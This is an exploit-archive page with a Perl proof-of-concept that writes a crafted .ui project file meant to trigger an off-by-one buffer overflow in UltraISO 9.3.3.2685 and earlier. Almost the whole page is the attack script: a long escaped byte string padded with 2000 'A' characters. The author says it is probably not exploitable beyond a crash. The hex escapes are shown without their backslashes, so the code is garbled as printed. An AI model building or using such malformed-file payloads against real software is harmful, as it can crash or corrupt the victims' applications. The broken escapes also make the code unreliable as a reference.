[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : UltraISO <= 9.3.3.2685 .ui Off By One / Buffer Overflow PoC
# Published : 2009-04-06
# Author : Stack
# Previous Title : Mozilla Firefox XSL Parsing Remote Memory Corruption PoC #2
# Next Title : Unsniff Network Analyzer 1.0 (usnf) Local Heap Overflow PoC 


# UltraISO <= 9.3.3.2685 .ui Off By One / Bof Poc Exploit
# Probably impossible to exploit, but who knows? -_- At least, there still exist stack overflows in :d
# usage perl poc.pl >>xpl.ui
my $poc=
"x55x6Cx74x72x61x49x53x4Fx20x50x72x6Fx6Ax65x63x74".
"x20x10x20x20xC8x14x52x02x02x02x02x01xF2x02x02x02".
"x01x12x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x05x76x96xE3x33x22x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x03x23x03x03x93x03x43x03x65".
"xF3x13x93x53x33x23x32x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x05x56xC7x47x26".
"x14x95x34xF2x05x63x92xE3x32x04x34x42x02x62x04x45".
"x64x42x04x37x26x56x17x46xF7x22xC2x02x86x32x93x23".
"x03x03x92x04x55xA4x22x05x37x97x37x46x56xD7x32xC2".
"x41" x 2000 .
"x04x96xE6x32xE2x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"xF2x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02x02".
"x02x02x02x02x02x02x02x02x02x02x02x02x02x02x08x20".
"x20x20";
print $poc;

# www.Syue.com [2009-04-06]